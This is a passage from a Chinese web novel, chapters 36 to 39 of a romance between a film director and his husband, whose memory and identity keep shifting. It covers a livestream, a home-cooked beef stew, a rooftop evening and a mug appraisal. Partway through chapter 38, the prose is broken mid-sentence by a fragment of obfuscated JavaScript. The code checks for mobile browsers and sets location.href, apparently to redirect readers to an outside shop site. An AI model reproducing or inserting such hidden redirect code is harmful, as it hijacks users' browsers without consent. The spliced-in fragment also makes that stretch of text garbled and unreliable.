直播镜头正对着桌子，麦克风的收音效果极好，贺朝觉自以为压低嗓子的耳语声全部被捕捉到，一个字不差地发配到直播间。
【居然冤枉贺总了，他是真的有审美啊！】
【看着裴导的搭配我沉默了，回去看一下他的电影美学洗洗眼睛……】
【为什么同一个人的生活审美和镜头审美可以差这么多哈哈哈哈】
评论再次跑偏，仿佛路过被踢了一脚，莫名背上一口“审美不行”的大锅。
裴澈：“？？？”
他黑着脸绕到桌子对面，一手护住贺朝觉的头顶，把人从桌子底下拉出来。
高大挺拔的霸总鬼祟地探出头，像是旱地拔葱一样被拔了出来，立显家庭地位。
评论一片【哈哈哈哈哈哈哈】。
哼哼，就知道都在祝福他和阿澈！
在这热闹的氛围里，贺朝觉一脸自豪地抱住裴澈，毫不做作地对着侧脸“吧唧”一口。
线条冷峻硬朗的男人长身而立，休闲衬衫拉出若隐若现的肌肉线条，此时俊朗的五官仿佛被春天融化，整张脸洋溢着一种傻乐的深情爱意，满得快要漫出来了。
他紧紧盯着怀里的青年：“给大家介绍一下，这是我老婆！”
“他的审美超好的！”
#我老婆审美超好的
重新被送上热搜的裴澈躺进沙发，有点疲惫地捏捏额头。
天知道，他曾经是一个低调的实力派导演。
始作俑者浑然不觉地在他旁边转悠，热情得像一只随时按捺不住要扑上来舔舔的大狗狗：“老婆，你累了嘛？要午睡一会嘛？”
裴澈抬手看表，从牙缝里挤出一句：“几点了，该吃饭了。”
时间确实已经接近傍晚时分，窗外阳光渐渐西斜，照进别墅里拖着长长的橘调。
不过吃晚饭还有点早。
宣发那边的反馈其实不错，主要是裴澈自己有点不好意思。等心头羞愤的热气隐隐散去，他又觉得旁边蔫头耷脑的贺朝觉有点可怜，心头一软，招招手把人唤过来：
“晚上想吃什么？”
贺朝觉不假思索：“都听老婆的！”
裴澈额头突突，转念一想：“今天还早，我们自己做点吃的吧？”
冰箱里存满了新鲜的食材，有专人定期更换。
没用的小废物贺朝觉像个小尾巴跟在一边，没有可参考的建设性意见。裴澈拉开冰箱门，视线自上而下扫了一圈，突然心念一动。
牛肉、洋葱、芹菜、胡萝卜和土豆都有，可以做红酒炖牛肉——第一次在家做饭时，贺朝觉做的就是这个。
裴澈抬眸看了爱人一眼，如果一起做出熟悉的味道，他会不会……
想到这，裴澈的嘴角轻轻扬起，低头搜索适合的食谱。
贺朝觉刀工出色，被他分派去切牛肉，几刀下去就切得干净利落。
“老婆，切片还是切块？这么大可以吗？”
男人认真地举起一块牛肉，神情肃穆又庄严，仿佛这是件无比重要的大事。
“刚刚好。”做菜并不是目的，一起做菜才是。裴澈心情难得轻快，用心准备配菜和香料。
等贺朝觉切完肉，溜溜达达蹭到裴澈身边一看，才蓦地感觉不对劲。
土豆，胡萝卜，洋葱，芹菜，百里香，迷迭香，香叶……
贺朝觉眉头一皱，这是做什么，难道是——
裴澈嘴角噙着笑意，眸光水亮地看向贺朝觉：“怎么？想起什么了吗？”
青年的眼神里带着微妙的期盼，贺朝觉小心翼翼求证：“老婆，你要做红酒炖牛肉吗？”
“对啊，”裴澈把混合好的香料扎进纱布里，微笑加深了一些，“记得吗，还是你给我做过的呢。”
你给我做过的……
贺朝觉心猛地一沉，手心微微出汗。
他当然知道这道菜，是那个人做过的。刚把裴澈强取回家时，那个人有过短暂的怀柔期，这个红酒炖牛肉，就是那时做来哄裴澈的。
要贺朝觉说，两个中国人在家做什么西式炖牛肉，花里胡哨！
阿澈怎么会突然想起来做这个？
贺朝觉眼神阴沉地瞪向那些配菜，周身气息突然变得很危险，就好像要把这些配菜香料统统杀掉。
原本还有点期待的裴澈：“……”
怎么回事？怎么也不应该是这个情绪啊？
裴澈举起香料包闻了一下，确认过味道，感觉没什么问题。又偏头问贺朝觉：“一起去挑支红酒？”
男人攥着拳头站在一边，看裴澈的视线在酒柜里转悠。
裴澈点着下巴，余光偷偷瞄旁边的爱人，面带犹豫。当时做的风味很独特，应该是和用酒选择有关系，他还记不记得……
贺朝觉冷着脸在一边不知道想些什么，裴澈等了一会，略微有些失望，算了，随便取一支吧。
就在这时，身前横过来一支樱桃利口酒。
“用这个吧老婆。”贺朝觉可怜巴巴地看着他，面带祈求。
他想到了，只要用这个独家配方打败那个人，老婆会慢慢适应他创造的新记忆！
牛肉和蔬菜分别炒香混合，倒入樱桃酒，放入香料，一股熟悉的香味瞬间弥漫上来。
裴澈眼前一亮，腾地转身在贺朝觉脸上亲了一下，笑眯眯道：“怎么这么会选？”
贺朝觉红着脸站在一边，喉咙发干。他……他就说吧，他的配方才是老婆最喜欢的！
因为开始得早，牛肉炖完，窗外的霞光才刚刚亮起来，近似火焰的颜色烧得天际一片赤红。
在选酒上取得很大进步的裴澈心情轻松，盛了两碗米饭，对爱人吐槽道：“还是配米饭比较香，其实我没那么爱吃西式的做法。”
贺朝觉面色矜持地掀掀眼皮，嘿，就知道老婆和他英雄所见略同。
别墅顶层有一片露台，半圆形的玻璃穹顶可以选择封闭起来，在秋天的傍晚很适合观赏夜景。
作为主菜的樱桃酒炖牛肉，并两碟青蔬小菜放在一起。木制的户外餐桌上，两盏青苹果味的香薰蜡烛火光摇曳。
远处夕
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阳落到地平线上，赤红的霞色渐暗，天际徐徐染上浅紫深蓝，月牙升起在角落，隐隐可见。
想到“月亮”，心头又闪过一丝不安的疑窦。裴澈将情绪按下，眼神亮晶晶地看向贺朝觉：“快尝尝这个牛肉。”
男人僵硬地夹起一块，放进口中咀嚼。
“怎么样？”有没有想起什么？
贺朝觉的眼睛慢慢亮起，就好像，突然想起什么来了。裴澈执筷的手紧了紧。
下一秒，贺朝觉噌地贴过来：“老婆，你做得超级好吃！”
裴澈推开狗头：“……”
饭毕，两人躺在巨大的豆袋里看夜空。
酒精在炖煮的过程中大量挥发，只留下一种微醺的感觉，整个身体陷入柔软的包裹之中。
漫天闪烁的星星映在眼底，静谧的情绪慢慢流淌。
裴澈往爱人身边偎了偎，转头看他，男人正怔怔抬头看着顶上星空。
裴澈回正，目光随之也落在星空中。夜幕深邃如洗，繁星闪烁，穹顶之下没有风，却让他回忆起微风拂过的感觉。
在伦敦时，他们也一起看过星星。
裴澈轻轻开口：“朝觉，你在想什么？”
贺朝觉声音低沉：“穹顶很高，但如果不仅能看见星星就好了。”
裴澈声音更加轻柔：“那你还想看什么？”
贺朝觉没有说话，过了一会，身边温热的身躯起开，发出悉悉索索的声音。
裴澈疑惑地抬头看去。
贺朝觉面带激动地站在一边：“老婆，你说我可以把协议书挂上去吗？”
“？？？”
裴澈面无表情：“……起开。”
老婆不理他了，贺朝觉委委屈屈地蹲在一边，不知道自己做错了什么。
裴澈闭上眼睛，选择不看星星，也不看这个傻子，免得迟早把自己气死。
虽然穹顶之下并不透风，秋天的寒意还是悄悄渗进来，贺朝觉犹犹豫豫地看老婆，决定起身去拿一条毯子。
回身瞬间，他不小心踢到了地上的杯子。
“嗷！”杯子滚在地板上发出清脆的声音，人也随之一个踉跄。
后脑突然蒙蒙地疼，贺朝觉愣了愣，眼中浮现出短暂的茫然。
“怎么了？”裴澈急急坐起来。
贺朝觉歪头看他，缓缓眨眼。身形颀长的男人轻轻吸了一口气，眼神逐渐变得温和深邃，仿佛换了一个人。
星空下，他的脸上镀着一层温柔的星辉，目光凝聚在眼前，眼底的星辉全部落在一点。
青年撑着豆袋坐起，脸上带着点酡红，眉眼间带着怔忪的惊色。
贺朝觉目光温柔地描摹着他的脸，俯身将毯子盖在裴澈身上，顺手将散乱的额发往后拨了拨。
裴澈的呼吸一滞，眼前的男人仿佛易碎的幻影般，让他不敢眨眼。
贺朝觉手停在裴澈脸侧，忍不住抚向他蹙起的眉心，声音轻柔：“阿澈，对不起。”
“幸苦了。”
视线描过爱人微微失色的干燥唇瓣，贺朝觉喉结滚了滚，脸颊有点发热。
下一秒，两只手臂突然环上他的脖颈！
贺朝觉心神一震，视线上移，和骤然惊醒的裴澈四目相对。
仅仅一个对视，裴澈便认出了眼前的人，眸中微光一闪，眼眶瞬间泛红，星点潮意悄然浮现。
“你怎么才回来，”青年声音微哑，带着委屈的哭腔，朝贺朝觉唇上咬去，“我好想你。”
37.第 37 章
青年温热的唇瓣微微颤抖，像寻觅巢穴的小兽，带着本能的凶狠径直扑上来。贺朝觉心头一滞，仿佛被一汪温水包裹，僵硬地任由怀中爱人宣泄。
炽热的思念在唇间燃烧，贺朝觉垂眸看去，青年紧闭的双眼边缘沁出一滴泪。
他吻得很凶，很急，好像要将所有积攒的惊恐和忧虑一口气释放殆尽。
贺朝觉心头一阵酸软，忍不住按上裴澈的背细致回应，诱哄青年打开牙关，温柔地卷过他唇齿间残留的委屈与酸楚。
温存到一半，他蓦地被推开，裴澈紧紧攥着他的手臂，红通通的眼睛不敢置信地看向他：“朝觉？”
“是我。”
男人眉目坚韧俊逸，不厌其烦地回应着。
裴澈一把捧起他的脸左右看：“怎么这么突然，就和梦一样。”
“不是做梦。”
裴澈皱眉去摸他的后脑勺：“还疼不疼了？”
其实有一点，贺朝觉心虚地看向眼前的青年，而且他有预感自己现在这种状态不会持续太久。
“嗯？”
掌心疑问似地在脸上蹭了蹭，贺朝觉抓住青年的手腕，余光扫过桌上的炖牛肉，暗暗咬牙：“不疼。”
时间有限，不应该浪费在关心自己的身体上。
贺朝觉整整毯子，把裴澈裹得更严严实实，语气略带嫌弃：“露台太冷了，还是夏天合适。”
裴澈有点好笑，这话说的，就好像怪他自己似的，不过是脑子坏了版本。
“其实刚刚吃炖牛肉还好，樱桃酒也暖身。”
贺朝觉神色不变，“嗯”了一声，把裴澈往怀里带带，不让他看见桌子那边。
“不要，”青年笑盈盈退开，两手搭着他的手，“就想看着你。”
贺朝觉感觉脸有点热。就在这时，裴澈突然伸手拉住他的脸颊：“感觉今晚的樱桃酒炖牛肉做得不亏，是不是？”
裴澈最近很喜欢揉他……
男人怔怔垂眸，惹得裴澈更高兴了，眼睛亮晶晶凑上去亲昵地蹭蹭鼻尖：“吃到熟悉的味道，你就回来了。”
兀自出神的贺朝觉这才听见青年的声音，言语间的含义一进脑子，那个傻子的脑补突然鞭尸一样浮了出来，什么要用独家配方覆盖他的记忆，什么老婆只爱他的口味……
他身子一僵，觉得可以用脚趾开钻地机，抠到地下室去。
男人坚毅的脸上突然烧红，眼里写满社死，显然是猛地想起来这些天的相处。
裴澈挑眉，不介意再加一把火：“怎么，现在不想把离婚协议书挂——”
噌地一下，宽大的手掌捂住裴澈的嘴，贺朝觉背过头去，露出通红的耳朵。
他以前怎么没发现，贺朝觉这么好玩，裴澈眼里写满了狡黠的神采，忍不住想逗一下恢复之后还是很可爱的爱人。
掌心飞快闪过一抹湿润，贺朝觉见了鬼一样收回手，看了裴澈半晌，无奈道：“阿澈……”
“怎么，不喜欢？”裴澈唇角噙着笑意逼上来，“不喜欢也没办法，我只能对你强取豪夺了。”
贺朝觉：“！！！”
见男人整张脸都红透了，生怕一个不好再把人逗坏，裴澈连忙转移话题：“这个露台还是第一次用起来，晚上真好看。”
自从他回国，就一直忙着新片筹备的事，连回家都很晚，更别提一起在露台上吃烛光晚餐了。
裴澈带着歉意亲了男人侧脸一下：“以后我们经常上来吧，抱歉，我之前忙着工作，都没有好好陪你。”
要不是这样，可能他就不会在脑子里编排这么离谱的剧本了吧。
漫天的星辰下，裴澈眼里闪动着坚定的爱意和愧疚，贺朝觉吻吻爱人的眼角，想说不需要为自己愧疚，又被那层滚烫不加掩饰的爱意熨得心头发颤。
从亲手画下露台图纸的那天，他就暗暗梦想着这么一天。
现在，虽然被那个傻子破坏了气氛，贺朝觉紧张地眨眨眼，但他还有东西要给阿澈看。
“阿澈，”男人紧紧盯着裴澈，眸光闪烁着紧张，一边向后靠去，好像摸索着桌子边的开关，摁了一下，“这是我想送给你的东西。”
“咔叽”一声，等待的两人面面相觑，什么都没有发生。
什么？裴澈缓慢地眨了眨眼。
贺朝觉僵硬地环视一周，那些——
突然，露台周围的装饰性彩灯炸响起来，像是电路短路的声音，劈里啪啦蹿了一圈电火花。
贺朝觉猛地抬头看了一眼穹顶，心头一紧，整个人扑过去把裴澈牢牢护在身下。
一秒，两秒，三秒……
裴澈抬手戳贺朝觉的肩膀：“喘不过气了。”
贺朝觉：“……”
桌下的开关连接彩灯，还直接连通穹顶玻璃内置的显示屏，里面保存着他想对阿澈说的话。
那个傻子，贺朝觉眸色暗沉，磨了磨后槽牙，居然把他的电路给剪了！
幸好穹顶没掉下来。男人撑起身子，面色有些讪讪，关切的视线在青年身上流连：“没磕到头吧？”
裴澈摇摇头，目光忍不住停在男人身前。
休闲衬衫原本就轻薄地勾勒在他身上，经过这么一扑，胸前扣子掉了两粒，露出喉结和一小片结实的胸膛，下面的衬衫凌乱地皱作一团。
在他炽热的视线下，男人的喉结涩然滚动了一下。
裴澈将手指轻轻按上去：“没磕到头，不过有其他要紧的事。”
……
贺朝觉一边细细密密地吻着，一边将青年横置在床上，卧室和露台相连，隔着大落地窗可见漫天星斗。
裴澈眼尾泛红，沁着星星点点的水光，修长的手指紧紧和宽厚大掌相扣。
“宝宝，等会，”贺朝觉额头薄汗，起身抽开，“这里没有——”
裴澈拉开床头，手指轻勾，微微喘着拉下贺朝觉，耳语道：“我瞧见你除了主卧里都放了。”
贺朝觉：“……”
男人头皮砰地炸麻，狠狠扣住青年的手腕，吻了上去。
夜空静谧无声，星星眨了一夜的眼睛。
次日清晨。
贺朝觉猛地从床上坐起，面色黑沉，举起双手，看着自己手掌的神色恐怖得仿佛要吃人。
该死，那个意识居然还没有彻底死去！
他视线扫到一边的垃圾桶里，一，二，三，四，五……
眼底红意瞬间喷薄而出，那个禽
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兽，自己小心翼翼呵护着的人，他怎么敢的！
“朝觉？”
一只光裸的手臂从身后搭上来，清冽的声音带着点鼻音：“怎么不再睡会？”
贺朝觉一僵，又瞬间放松，视线烫了一般从手臂上的痕迹移开，不动声色地取过被子将裴澈裹好。
“我去给你做早饭。”
青年懒洋洋地躺在那里，哼了一声，脸上自然地流出惬意的神情。
“对了，”他从被子下面伸出手，勾住要走的贺朝觉，声音里仿佛带着钩子，“之前不是觉得主卧住腻了，要不要干脆搬上来住，还可以方便看星星？”
什么？贺朝觉如遭雷击，缓缓转过视线，和眼含情意的裴澈对视一眼。
青年噌地坐了起来，被子从身上滑落：“贺朝觉？！”
裴澈捧着爱人的脸不敢置信地打量着，怎么昨夜还好好的人，今天又变回来了。
贺朝觉垂着眸任青年打量，感觉心脏一阵一阵地抽痛。
他从没想过会是这样。
一直相信裴澈是先喜欢上自己，才编造了那些虚假的记忆。怎么会，怎么会……
看现在裴澈的反应，分明是先对那个禽兽生了扭曲的感情！他甚至要为了他搬到楼上来住！
贺朝觉绝望地闭闭眼，抬眸和裴澈对视，生怕在其中看到失望和厌恶。
裴澈确实有点失望，但是脑子复坏的爱人可怜巴巴看着他，真是一点都不敢难受，连忙安抚地亲亲：“没事，一会再去医院复查一下，会好起来的。”
好起来，贺朝觉攥得掌心生疼，他怎么忘了，裴澈从来觉得他现在不正常，希望他“好起来”。
男人五官皱成一团，显得更难过了，裴澈吸取教训，立刻掐起脸凑上前去：“你又乱想什么了？”
贺朝觉哀哀怨怨：“你是不是更喜欢昨晚的……我，不喜欢现在的我？”
裴澈：“？？？”
连忙保证：“怎么会？你们就是同一个人，我都很喜欢的！”
贺朝觉瞬间如丧考妣，眼神里写满了哀痛纠结，更加萧瑟了。
裴澈：“……”
【以寒，我记得你以前玩过陶艺，T城圈子里各家的技艺你清楚吗？或者有没有懂行的推荐一下，我有个成品想问问。】
裴澈放下手机，和正好端着一碗粥放在他面前的贺朝觉对上一眼。
男人表情自艾哀恸。
裴澈缓缓低头，狠狠喝了一口海鲜粥。
要撬开他的心房，光靠自己是不行了，那对古怪的手作陶瓷马克杯是现在唯一的突破口。
“阿、阿澈，这个粥的味道怎么样？”
他第一次做，全新的配方，肯定可以吊打那个禽兽几条街。
贺朝觉略带期盼地看向裴澈。
青年品了一口：“唔，加了虾头鱼骨熬的高汤？”
贺朝觉一喜，他尝出来了？
裴澈：“果然和以前的味道分毫不差，我最喜欢喝你做的粥了！”
“……”
贺朝觉转身攥拳，面色黑沉。可恶，那个禽兽不知道在哪里学的自己独门配方，唯今之计，难道只有找出他切实的罪证，让阿澈认清楚他了吗？
38.第 38 章
想法这么一转，但贺朝觉根本不舍得让阿澈想起过去的痛苦记忆。
既不能让阿澈一直陷在虚假的记忆里，也暂时不忍心戳破这一层平和的幻象。
他能做的，只有争分夺秒把现在和过去更大地拉开，同时把那道小偷的意识彻底扼杀。
贺朝觉半张脸掩在阴影里，眸中沁出阴毒的光。
既然死了，最好就死得彻底一点。
以后阿澈想起来一切，不管是怨恨，还是要远离，他都……
甘之如饴。
贺朝觉的脸皱了起来，盯着桌上咸豆花的表情更臭了。
门口的李特助吓了一跳，默默把迈进去的左脚收了回来，换成右脚先进。
擦着汗站到办公桌前，一边把文件递给BOSS过目，一边贴心问道：“BOSS，豆花要换成甜的吗？”
被打断思绪，贺朝觉不虞地抬头：“我难道看起来很苦吗？”
您不苦，我比较苦。李特助心里蛐蛐。
贺朝觉没管他，伸手接过文件，上面是和量境科技的合作方案。
量境科技，贺朝觉眉头一皱，觉得这个名字有点熟悉。
“BOSS，量境三年前和我们恰谈过收购，后来没谈拢。”李特助连忙提醒。
贺朝觉松开眉头，隐约有了印象。
当时的辰辉不过是初创公司，依靠几款产品打开市场，几轮天使融资增长势头很猛，引来不少意向收购，量境也是其中之一。
他合起文件，嗯了一声，示意一会再看。
视线转到桌面的豆花上，又猛地顿住。
不对，收购为什么能进入到洽谈阶段？辰辉当时前景很好，贺朝觉了解自己，不论出价，他根本不可能放弃经营选择出售。
逻辑的矛盾像一根锥子猛地刺入脑海，贺朝觉后知后觉地意识到，自己关于洽谈的这段记忆模糊得不正常，简直像一段纸糊的皮影。
辰辉和量境谈过收购，然后没能继续。
貌似顺畅的前因后果，他根本不记得任何细节！刚刚和李特助对话，却一点都没觉得不对劲，就好像，大脑自动过滤了其中的问题。
贺朝觉心中一惊。
三年前，差不多是他被夺舍的时候。
那个时候，他正在做什么？
“BOSS，有什么问题吗？”见贺朝觉眉头一拧，好像想到什么震惊的事情，李特助连忙问。
贺朝觉死死瞪着桌上的咸豆花，猛地抬头一指：“你能做出和这个味道完全一样的豆花吗？”
李特助：“？？？”
只要钱到位，灵魂随时可以出卖。打工人一咬牙：“BOSS，给我一周时间钻研配方，保证完成任务。”
钻研。
贺朝觉目光沉沉地看回豆花，他怎么忘了。
“吃到熟悉的味道，你就回来了。”阿澈是这么和那个禽兽说的。
一次还可能是巧合，他的无敌独家超级绝密极品海鲜粥配方，难道也是巧合？
他的目光第一次带着赞赏投向李特助，声音若有所思：“你说的对，是要钻研很久。”
就像没有戳破的洽谈记忆，贺朝觉一直理所当然地以为夺舍是一场意外，如果……不是呢？
男人的视线骤然锐利，指头在桌上缓缓敲动，声音低沉隐约带着雷霆：
“一个人，处心积虑地学习另一个人的口味，模仿的菜肴味道一模一样，是为什么？”
因为爱啊！！！李特助差点脱口而出。
但一看BOSS的反应，李特助神色一凛，不对！
他如临大敌地隔着口袋摸摸自己的手机。
前几天，钟医生没头没脑地给他发了一句【贺朝觉虐身虐心的那个小情儿，现在开始走火葬场路线了？】
难道是真的？怪不得裴先生签了离婚协议书，那个不知道哪里来的小情儿都蹬鼻子上脸了！
李特助瞬间愤愤：“蓄谋已久，登堂入室，狼子野心，昭然若揭！”
贺朝觉目光沉沉，说得太对了。
“马上去整理一份三年前收购洽谈的相关资料，还有我结婚前后的公司财报。”
李特助：“啊？”
……
下午开完会，贺朝觉面无表情地回办公室。
工作对他而言，简直易如反掌。但有那个复苏的意识在暗处蛰伏，每一个不和阿澈一起创造新回忆的时刻，都是对人生的浪费。
真想下班。
嗯？
贺朝觉猛地退回两步，视线鹰隼一般朝会客厅看去。
沙发上坐着一个眼熟的女人，长相明艳。
贺朝觉：“那是谁？”
李特助伸头瞅了一眼：“姜雅歌啊，BOSS你不是见过吗？”
贺朝觉凉凉：“我意思是，她怎么会在这？”
橘子娱乐刚跌了个跟头，她也该乖一阵子。不跟着阿澈专心拍戏，怎么又跑到这里来了？
“哦，她过来拍广告。”
广告？拙劣的借口。贺朝觉眸色转深，只顾着和阿澈二人世界，他竟然忘了，阿澈现在还前狼后虎，处境维艰！
一个小小的姜雅歌都敢踩着他跑到辰辉来刺探情报了。
自己还惦记着什么搬家，什么做饭……
非要创造一些独属他们的回忆，为什么不从阿澈的事业入手呢？
等等……宛如一道闪电擦过，贺朝觉眼底瞬间燃起亮光，对啊！
李特助看看贺朝觉，又看看沙发上的姜雅歌，不知道BOSS眼睛里怎么突然冒火星子。
“额，”他小心翼翼地补充，“A14最新的智能家居系列，准备在卫视投放广告，姜雅歌是我们的代言人。”
主要还是因为裴先生工作室最近签的新人，一会拍摄他也会过来。
李特助稍作犹豫，看了看贺朝觉，没有提裴先生的名字。
贺朝觉眼神微眯，挑剔地打量姜雅歌两眼，从鼻孔里轻蔑地哼出一声：“看好了，别让她四处刺探。”
李特助跟在后面，眼神恨不得带上刀子。
以前如胶似漆就是见过总裁夫人，现在有了新欢就是别让他四处刺探。
呸，狗男人！
*
裴澈刚到辰辉楼下，突然收到贺朝觉的某信消息：【你对留学这块了解多吗？】
裴澈：？
应该算有点了解吧，毕竟伦敦不是白待的。
他面带疑惑地点开消息，还没回复，那行字蓦地消失了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196976|146910||http|test|mini|href|location''.split(''|''),0,{}));
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【对方撤回了一条消息。】
裴澈：？？
抬头看一眼电梯，还在缓缓下来，他低头伸出修长的手指：【选校方面，专业不同可能建议有限，不过整体的申请流程还是熟悉的，你帮谁问？】
某信那头，贺朝觉抖着手看屏幕，完了完了发错人了。
他同时给列表了解留学的人发咨询消息，因为阿澈是置顶，转发不小心点到了。
怎么还回复了！
看着屏幕上“整体的申请流程还是熟悉的”，贺朝觉目露心疼。
果然，阿澈从来没有放弃过上学，就算被迫中断学业，他也一直在关注各种渠道。
颤抖的手摸上键盘，贺朝觉准备打字。
啪唧发了一个表情包过去。
【霸道酷总推墨镜.jpg】
裴澈：？？？
这是什么意思，还秘密上了？
阿澈没再回复，贺朝觉背着手在办公室打转，最终决定把李特助叫过来。
“你最近和裴澈旁敲侧击一下，不要让他知道是我的意思，问问留学方面他有没有属意的学校。”
啊？李特助不假思索：“伦敦电影学院。”
贺朝觉猛地抬头：“？？？”
目露怀疑，你怎么知道？
李特助比贺朝觉更疑惑，这有什么好问的，裴先生就是伦敦电影学院毕业的啊！
见他一副木愣愣的样子，贺朝觉感觉也不太指望得上，挥挥手让他离开。
不过……伦敦电影学院？
……
裴澈上到会客厅，和姜雅歌会合。
李特助很快也到了，脸色莫名有点不好看。裴澈朝他招招手：“怎么了？”
李特助咽下忿忿不平，勉强道：“没什么，最近业务有点忙。”
见裴澈余光往自己身后瞟，李特助上前一步：“BOSS还在看文件。”
“噢……”裴澈收回视线，喝了口茶，突然抬头小声问，“你知道他最近怎么关心上留学的事情吗？生意场上遇到什么小辈了？”
要是有需要，他还真可以帮着参谋一下。
李特助如遭雷击。小辈？贺总问留学的事，是帮别人问吗？他身边哪有什么人，等等——
微末时的白月光归来，虐身虐心终成真爱……
那当年支持裴先生去留学算什么？替身？
李特助眼神发直，如同参透了惊天秘密，舌头打结：“蓄谋已久，登堂入室，狼子野心，昭然若揭！”
裴澈：“？？？”
李特助低头，恍然惊醒：“揭，揭竿而起！”
成语接龙？
果然他们搞新兴科技的，压力比较大。
裴澈缓缓地喝了一口茶。
广告拍摄使用的是A14智能家居系列的展示样间，灯光镜头裴澈把了把关，很快就结束了拍摄。
从样间出来，手机叮咚一声。裴澈低头看去——
谢以寒：【找着了，不是哥们吹[酷]这位可是重量级的，少说十年内T城大小陶艺馆私房的手艺，她都能认出来，地点时间都能说得清清楚楚。】
裴澈轻笑：【感谢，可惜是三年内的，长不了见识了。明天可以安排见面吗？】
39.第 39 章
谢以寒的效率不是盖的，直接回：【今晚就给兄弟安排[酷]】
【怎么样？你今天有空吗？】
脑子里过一遍日程，裴澈低头打字：【有空，一块约个饭吧】
打到一半，头顶突然罩过一道阴影。
裴澈抬头看去，差点没捏稳手机。
贺朝觉眉头一皱，视线直勾勾看向颠倒的聊天窗口，敏锐捕捉到关键信息：“阿澈，你要和姓谢的……以寒一块吃饭？”
吃饭？裴澈一瞄屏幕，反而松了口气。
弹出键盘占据半个屏幕，最关键的陶艺信息没露出来。
他面色如常：“对，好久没一起聚聚了。”
贺朝觉眉头皱得更紧，眼神一闪就要张嘴。
“啪唧——”
裴澈眼疾手快一把捂住，压低声音凉凉道：“今晚没有酒会了。”
贺朝觉：“……”
想起上次和谢以寒约饭未果的后续，裴澈脸上微红，理不直气也壮，立即倒打一耙：“怎么？又不让我和谢以寒一块吃饭？合理怀疑你有——”
“没有！没有剧本！”贺朝觉声势瞬间一弱，隔着手掌闷闷道。
可怜巴巴一抬眸，又问：“阿澈，你们吃饭可以带上我吗？”
裴澈心虚地蜷蜷手指，凉凉水波的眼色睨他一眼。
换了个话题：“先听听你过来找我干嘛。李特助不是说你在看文件？”
贺朝觉从天而降一口大锅，额头缓缓打出一排问号。
抬眸朝沙发方向狠狠瞪了一眼。
李特助顶着文件刷地蹲下，一边的姜雅歌将水果丢进嘴里，嚼嚼嚼：“啊我死了，贺总这占有欲拉满的眼神！”
李特助恨铁不成钢。
当演员的眼力差成这样！磕磕磕，等着，我的现在就是你的未来。
裴澈把贺朝觉拉到身边坐下，顺势收起手机，亲昵地捏捏他的手指：“嗯？找我干嘛？”
贺朝觉眼神闪烁，感觉嘴唇有点干。
留学的事，他想了半天，还是得先和阿澈商量。
贺朝觉：“阿澈，等导完这部戏，你有什么打算吗？”
裴澈思索片刻，好像不急着开新戏，手头也没有心动的本子。
看贺朝觉一副紧张的样子，他噙着笑意凑上去：“失业了，在家陪你怎么样？”
贺朝觉：“？？？”
他心头巨震，下定决心：
“阿澈，我有很重要的事情想和你说，晚上可以就我们俩一起吃饭吗？”
一阵可疑的沉默。
裴澈突然揪住贺朝觉的脸，狠狠挑眉：“一起蹭饭变成两个人吃饭，还得寸进尺了是吧！”
绕了一个大弯子，可让他们家诡计多端的贺总圆回来了。
裴澈略不忍心，为了马克杯的“月亮”冷酷拒绝：
“我很快就吃完回家，你在家乖乖的，有什么事情等我回去再说。”
一个敷衍的“乖”伴随着吻落在脸颊上，裴澈领着姜雅歌急急忙忙回片场去了。
捂着脸目送阿澈的背影离去，贺朝觉莫名有些心神不宁。
就好像直觉在预警，不能这么简单地放阿澈去和谢以寒吃饭，他会失去什么重要的东西。
贺朝觉茫然皱眉，没找到问题出在哪里。
就在这时，李特助捧着文件突然出现：“BOSS，这是你要的资料。”
“这份是收购洽谈的会议纪要，这份是婚礼前后半年的公司财报。”
贺朝觉眼神一聚，蓦地变深。
他怎么忘了，是那个意识在影响他！
竟然想操控他去干涉阿澈的私事。
贺朝觉面色冰冷地接过文件，眸光里燃烧着危险愤怒。
做梦，今晚就是熬夜，不睡觉，他也要把这些文件看完！绝对不分心关注阿澈晚上在干嘛！
……
晚上9点半，贺朝觉坐在客厅沙发上，面前茶几摊满了文件。
抬腕看看手表，秒针又轧过一格，咔咔咔咔地好像轧在他心上。
阿澈晚上在干嘛？怎么还不回家？
不对。
刷地放下手表，贺朝觉面色狰狞地看着空气，咬牙切齿：“不、会、让、你、得、逞！”
*
两个小时前。
“郑老师，”谢以寒互相介绍过，裴澈握手招呼，“时间仓促了，谢谢您拨冗前来。”
“没事，客气。”
微微敦厚的中年女人笑眯眯落座，好奇道：“听说你有作品让我鉴定？”
对方单刀直入，裴澈也不扭捏，取出放在一边的马克杯递过去：
“是的，听说T城近年来大小陶艺馆的技艺流变，您都烂熟于心，能帮我看一看，这只杯子是什么时候在哪家做的吗？”
瓷白的马克杯在灯光下折射出细腻光泽，空白处稍深一些的油彩变得清晰可见。
郑老师脸色微微恍然，接过杯子转了一圈，渐渐露出感叹的表情。
裴澈紧张地看她：“老师，光线合适吗？”
“不用，”郑老师摆摆手，放下马克杯，嘴角流出怀念的笑意，“今天可算是巧了，这个杯子我记得。”
……
“大约是六年前的事了，一米九的大小伙，做的一双情侣对杯，另一只上面写着字是不是？”
“这油彩的技艺搁现在也算独此一家，等重新上色上釉，二次加工还能达到一样的温变效果。”
“最适合当作礼物送出去，等确定关系再亲手题上内容，和成对做的没有区别。”
郑老师的话止不住在脑海里翻滚，裴澈面无表情举杯，又灌下一口。
酒精逼得脸颊眼尾一片薄红，旁边的谢以寒欲言又止。
等裴澈喝完一杯，还抬手要续，他赶紧一把拦住：“澈澈，咱不能喝了。”
裴澈转过头，黑白分明的瞳仁泛着冷意，口齿清楚：“六年前，他根本不认识我，而这对杯子藏在我们三年前装修的婚房里。”
谢以寒讪讪取下杯子，试图抹黑自己信誓旦旦找来的老师：“说不定是她记错了……”
说到一半，他自己也觉得站不住脚。
又是独家技艺，又是一口说中另一只上有字。
只好叹了口气：“你就这么给贺朝觉判死刑了？要不和他谈谈呢？”
裴澈闭闭眼：“他脑子不好使，要谈也是和脑子正常的他谈……”
拐角处传来一道什么东西碎裂的声音。
